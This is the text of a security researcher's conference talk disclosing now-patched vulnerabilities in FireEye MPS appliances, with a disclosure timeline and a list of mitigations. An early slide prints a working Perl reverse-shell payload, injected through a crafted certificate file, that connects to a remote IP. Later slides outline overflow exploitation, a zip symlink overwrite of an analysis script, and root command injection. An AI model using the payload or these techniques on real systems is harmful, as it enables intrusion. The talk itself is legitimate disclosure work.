Playing with Fire
Attacking the FireEye® MPS

Felix Wilhelm
@_fel1x

THANKS for having me!
Who Am I

- Security researcher at ERNW.
- Main Interests: Virtualization and Application Security

Felix Wilhelm
@_fel1x
Recent Research

- Microsoft Hyper-V
  - MS13-092

- Xen
  - Xen XSA-123

- IBM GPFS
  - CVE-2015-019(7,8,9)

- Always very smooth disclosure process.
This Time It’s Different

Therefore we need a lengthy disclaimer here.
Disclaimer

- Due to a recent injunction by the Landgericht Hamburg on behalf of FireEye® Inc. some accompanying details to understand the nature of the vulnerabilities cannot be presented today. We fully adhere to that injunction in the following.
  - All technical details shown are based on a document which was mutually agreed upon between FireEye® and ERNW.

- I am not able to discuss details about the removed content or the ongoing legal procedures.

- We’ll just let the bugs speak.
Agenda

- Getting Access
- Architecture
- VX E
- MIP
Malware Protection System
- Software running on FireEye® appliances.
- Differences in Sample collection:
  - Network, Mail, Fileserver, Manual

I’ll talk about webMPS 7.5.1
- Bugs exist in all the above variants.

They have been patched in the interim.

Establishing Access

It turned out that there was this bug...

- Initial Situation: Administrative access to device

- Web Interface
  - Reporting / Analysis

- CLI
  - Reachable via SSH
  - Restricted IOS-like shell

➔ Get OS access to find possible vulnerabilities in analysis process.
Establishing Access

- Web Interface allows configuration of used TLS certs and CAs (post auth)
  - Legally prohibited to show you a screenshot of the interface.

- Uploaded files are passed to **openssl** for validation

- For a CA bundle every included cert is validated individually:
  - Split file on “END CERTIFICATE”
  - Pipe single chunk to openssl and parse output:
    ```bash
    echo "\$data" | openssl x509 -noout -text
    ```
felix@knife ~/fireeye % cat rootCA.crt
F000; echo 'use
Socket;$i="172.28.2.214";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh
-i");};' > /tmp/connect.pl; echo "
-----BEGIN CERTIFICATE-----
MIIDTCCAp2gAwIBAgIJAotWde1RIp5yMA0GCSqGSIb3DQEBBQUAMEUEUczA JBgNV
BAYTakRFMRMwEQYDVQQIEwTb21lLVN0YXRlMSEwHwYDVQQKEExhJbnRlcm5ldCBX
aWRnXzRzIFBoeSBMdGQwHhcNMTUwMzEyMTIxODI5WhcNMTYwMzExMTIxODI5WjBF
MQswCQYDVQQGEwJERTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50
ZXJuZXQgVZlkJZ10cyBQdHkgTHRkMIIBIjANBkgkqhkiG9w0BAQEFAAAAAQAMIBG
CkGAQAEoa0OaGA4JmPwlbELMMSs39pHJwPvcoC/mMwv8T6YpKHUItMdUg8hFgsnL
Q+yptTVjVpmGJp3jGnfVFVe5f4yhFEYjyqrj0i3vBIACg6aP7x0iDBtxMrF+60s
j2UkxSiFk3c3YLRwJNaQen4wx/HvFp3F1l9AjqbcXUJ5mpPtbn+RCozEARAjR6T1u
Ik9rwCwChhYa/9nJiF66Ktqqa+9Yrt52hwhH2tYKc0T4QR4RXRhH9D7iF/3JPyB
bG+kuWDUQEMEmzK7zO/sXxufhUos1eLC2C0PWCfKbRZaM5+yUBWfgOL0bCQl
ghiwR+PVC7omcDGFSpT8UvArbX5+QIDAQABo4GnMIGkMB0GA1UdDgQWBBQmRWLD
-----END CERTIFICATE-----
Establishing Access

- `openssl` ignores everything between `BEGIN` and `END` certificate

- Validation of whole bundle succeeds even when the payload is added

→ Trivial Command Injection
Demo
Establishing Access
Establishing Access

- Not interesting for real world attacks!
  - Requires administrative access to web interface

- But gives (unprivileged) OS access
  - Requirement for finding more interesting bugs

- Next step: Get persistent and privileged access
Establishing Access

- Privilege “Escalation”
  - Local root password is identical to the configured admin pw ➔ Just use su

- Persistence
  - Root filesystem is read only
  - Remount it and overwrite one of the whitelisted CLI commands
  - Easiest way: Replace telnet binary with symlink to bash
What next?

- **Goals of research on security appliances**
  - Understanding of the attack surface
  - Advantages and limitations

→ Understanding of system architecture is required
As you can imagine, there is some static and some dynamic analysis involved.

- **VXE:**
  - Virtual Execution Engine
  - One of the main components involved in dynamic analysis

- **MIP:**
  - Malware Input Processor
  - Orchestrates static analysis
Attack Scenario

- Attack scenario for the next slides:
  - A file of our choice is analyzed by the appliance

- Trivial to trigger for real world environments:
  - Send mail with attachment to arbitrary employee
  - Trigger download from corporate system by Social Engineering, MitM...

- File does not have to be opened by anyone!
  - Just transferring it is enough
VXE – Virtual Execution Engine

- Virtualized environment to run malware on
  - [CENSORED]
  - Several interfaces to the physical host system

- Most interesting one:
  - libnetctrl_switch.so
Network packets generated by the virtual machine are passed to this library

- Packets are parsed and passed to either
  - DNS handler
  - IP handler

- DNS handler
  - Quite simple
  - Logs requested hostname and returns faked response
libnetctrl_switch.so

- **IP handler**
  - Handles everything besides DNS
  - Includes mechanism for protocol detection

- **Information about a host is stored in an `addr` structure**
  - Fields for IP address, DNS entry, internal state …
  - Table of 10 `port` structs to store data unique to a TCP port
  - Pointers to next/prev address
Sending data to port initializes state machine

First 12 bytes of TCP payload are converted to uppercase
  - Check for hardcoded protocol indicator
  - GET (HTTP), NICK (IRC), PASV (FTP)

When protocol is detected the state machine responds in a semi-realistic way
  - Simulate normal protocol communication
Bug 1: /NICK overflow

1. Sending "/NICK <name>" triggers a welcome msg from the simulated IRC server.
2. Message includes your nick name
3. Message is generated using sprintf
4. .. using a stack buffer with size 1024 as destination
/NICK overflow

- Write “malware”:
  - tcp_send ("44con.com", 1337, "/NICK AAAAAAAAAAAAAAAAAAAA...");

- Trigger analysis

- Watch VXE crash:
  Program received signal SIGSEGV, Segmentation fault.
  0x4141414141414141 in ?? ()
/NICK overflow

- Fixed size stack buffer
- No stack cookies
- VXE binary without PIE

- 64bit (VXE addresses require 0 bytes)
- Return address points to libnetctrl_switch.so (which uses ASLR)
- NICK can not contain 0 bytes
- Last bytes of buffer are not controlled → Partial overwrite not possible

→ Hard to exploit.
port Structure

- port structure stores data sent during communication:
  - \{nick, join, user, mode, user_host\}_info
  - Inline 1024 byte buffers

- Buffers are filled using \texttt{get\_value} function after keyword is detected.

- \texttt{get\_value} copies bytes till 0-byte or line break.
  - Inserts 0-byte at the end.
  - No length restriction...
Another Disclaimer

- The following diagrams are here for illustrative purposes.

  They do not describe any architectural design or specifics of FireEye® products.
### /JOIN Overflow

<table>
<thead>
<tr>
<th>port struct</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
</tr>
<tr>
<td>nick_info</td>
</tr>
<tr>
<td>user_info</td>
</tr>
<tr>
<td>user_host_info</td>
</tr>
<tr>
<td>mode_info</td>
</tr>
<tr>
<td>join_info</td>
</tr>
<tr>
<td>....</td>
</tr>
</tbody>
</table>

- More than 1024 bytes after JOIN/NICK/USER .. triggers overflow
  - Limited by MTU of simulated network card (1500 - header)

- Only join_info is interesting.
  - Rest overflows in neighboring buffer

- No interesting data to overwrite inside the port structure...

- But...
/JOIN Overflow

- **port** is stored inside **addr**

- Overflow in last port structure can corrupt prev and next ptr of linked address list.

  **Trigger:**
  - Connect to 9 different TCP ports on same host
  - Connect to tenth port and send “/JOIN AAAAAAAAAAAAAA....”
Exploitation

- Similar problem to first bug: No 0bytes + 64bit + Heap ASLR
  - But this time we can perform a partial overwrite

- `addr` struct is 0x25A60 bytes long
  - Used malloc implementation allocates structures larger than 0x20000 using `mmap`
  - Chunk is always at page boundary → Least significant byte of struct address is 0x10
Exploitation

- next and prev point at offset after portTable.
  - Least significant byte of both always equals 0x60
- Overwrite last byte of next ptr with the 0byte generated by get_value
Exploitation

- next and prev point at offset after portTable.
  - Least significant byte of both always equals 0x60
- Overwrite last byte of next ptr with the 0byte generated by get_value
- next_ptr points into join_info buffer of second structure
Exploitation

- join_info is initialized with 0s
  - We can create pointers with an arbitrary number of leading 0s

- Point at address in VXE data section around 2k bytes before an interesting overwrite target
  - No PIE for vxe binary

- Next connection that matches IP of faked struct copies TCP payload into port buffer → Write Primitive
Exploitation

- Header of fake addr struct must be valid
  - Offset 0x0 != 0x0
  - Offset 0x8 == 0x0
  - Offset 0x10 == 0x0
  - Offset 0x18 == 2 or 3

- But we can corrupt a lot of data after this point

- 5 lines python == around 12 usable locations in VXE data

- Multiple function tables can be corrupted
  - Use stack pivot to point RSP into controlled buffer
  - ROP “chain” into system() call trivial.
FireEye Label: *MVX Traffic Analysis Buffer Overflow (2,3 of 5)*
ERNW Paper: Memory Corruption Vulnerabilities (Section 3.1)
Severity: Moderate
Products affected: NX, EX, AX, FX
Credit: Felix Wilhelm of ERNW

A buffer overflow vulnerability present in code involved with analyzing malware samples that could allow an attacker to cause a limited denial of service. (This vulnerability accounts for two out of the five identified in the same component that was patched to resolve this issue.)

Source: FireEye® Vulnerability Summary, September 8, 2015:
Demo

VXE Exploitation
Exploitation

- Technique “bypasses” ASLR
  - Quite stable and fast due to small amount of heap massaging/spraying

- Several requirements for fake address object:
  - Large data corruption
  - Limits possible overwrite targets
    ➔ But target binary is large enough

- VXE version dependency
  - Bug can potentially be used to create info leak, but difficult to exploit without using raw sockets

⇒ Not 100% reliable
.. something else? MIP

- Remember: There is also static analysis involved.

- Responsible component: MIP – Malware Input Processor
  - Running on the host system

- Supports a significant number of different file types
  - [CENSORED]
  - .. and ZIP
MIP and p7zip

- Decompression of zip files is handled by p7zip
  - Inofficial fork of win32 7zip for POSIX systems
  - http://p7zip.sourceforge.net/

- extract_ar.py script performs the following call:
  - subprocess.call(['/usr/bin/7z', 'x', '-y', dest_arg, pass_arg, archive_name])
Could be a potential fuzzing target.
  - Maybe any open bug reports?

CVE-2015-1038: Directory traversal through symlinks
  - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774660

“7z (and 7zr) is susceptible to a directory traversal vulnerability. While extracting an archive, it will extract symlinks and then follow them if they are referenced in further entries. This can be exploited by a rogue archive to write files outside the current directory.” – Alexander Cherepanov cherepan@mccme.ru
Exploiting MIP

- Create zip/7z file with symlink to writable directory

- Trigger analysis (Mail..)
  - MIP extracts archives and follows symlink

- Arbitrary file creation in any directory writable by MIP user
  - Overwrites possible due to –y flag.
MIP privileges

- Most important directories are not writable for MIP user

- But /censored/xyz/ is!

- Includes static analysis scripts for different file types
  - For example rtf.py – called whenever analysis of an rtf file is performed

- Files itself aren’t writable, but directory is
  - Overwrite possible
1. Create malicious zip archive containing
   - symlink to /censored/xyz/
   - and backdoored rtf.py

2. Send mail to sales@ernw.de with zip attached.

3. Analysis extracts zip and overwrites rtf.py with backdoored version.
4. Send another mail to sales@ernw.de with arbitrary rtf attached.

5. Static analysis module executes rtf.py

6. Wait for shell to pop.
What does this mean?

- 100% reliable code execution against vulnerable devices
  - Remember: It’s been patched in the interim.

- But code is only running as low privileged user

- Still: Full compromise would require a privilege escalation
cms_agent.rb

- Ruby script running with root privileges
- Listening on local tcp port 9900.
- Centralized Management functionality
- Implements a dRuby server
  - RPC mechanism to call ruby methods / exchange objects over the network
- mdreq_exec method passes first argument directly as first argument to command line invocation
  - Simple command injection again.
Final Demo

100% reliable remote root with a zip archive
Get Your Appliances Patched Right NOW

If you would only take one thing away from this talk...
Conclusions

- Possible Mitigations / Hardening measurements:
  - Use compiler hardening (stack protector, PIE..)
  - Run static analysis process in virtualized setting
  - Hardening of local privileged processes
  - Implementation of parsing code in memory safe languages

- Even with these Mitigations:
  - The new capabilities gained by using virtual machine technology to detect malicious behavior also mean there are specific attack exposures that vendors must account for.
Timeline [I]

- April 7th 2015: Initial (attempt of) contact via security@fireeye.com, several tries

- April 27th 2015: Reaching out via Twitter → response.

Felix Wilhelm
@_fel1x

Do I have any followers who can introduce me to someone from @FireEye product security? security@ doesn't reply to mails
7:00 PM - 27 Apr 2015
↩ 7  ★ 4

https://twitter.com/_fel1x/status/592734994595995648
Timeline & Comments [II]

- May 7th: conference call.
- June 10th: conference call.
- July 17th: conference call.
- July 23rd: conference call.
- Aug 05th: face to face meeting in Las Vegas.
  - Our impression was that a provisional agreement was reached here.
- Aug 13th: district court of Hamburg issues injunction.
Thanks for your attention!

Q&A

@_fel1x
fwilhelm@ernw.de

Also visit our blog: https://insinuator.net